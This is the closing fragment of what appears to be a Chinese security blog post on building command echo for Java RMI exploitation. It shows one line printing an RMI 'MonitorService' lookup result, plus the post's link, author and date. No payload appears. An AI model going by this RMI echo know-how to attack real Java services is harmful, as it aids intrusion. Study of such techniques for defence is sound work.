System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject));

}
}

参考链接


RMI 回显构造
http://www.weijin.ink/2023/09/04/RMI-回显构造/
作者
未尽
发布于
2023年9月4日
许可协议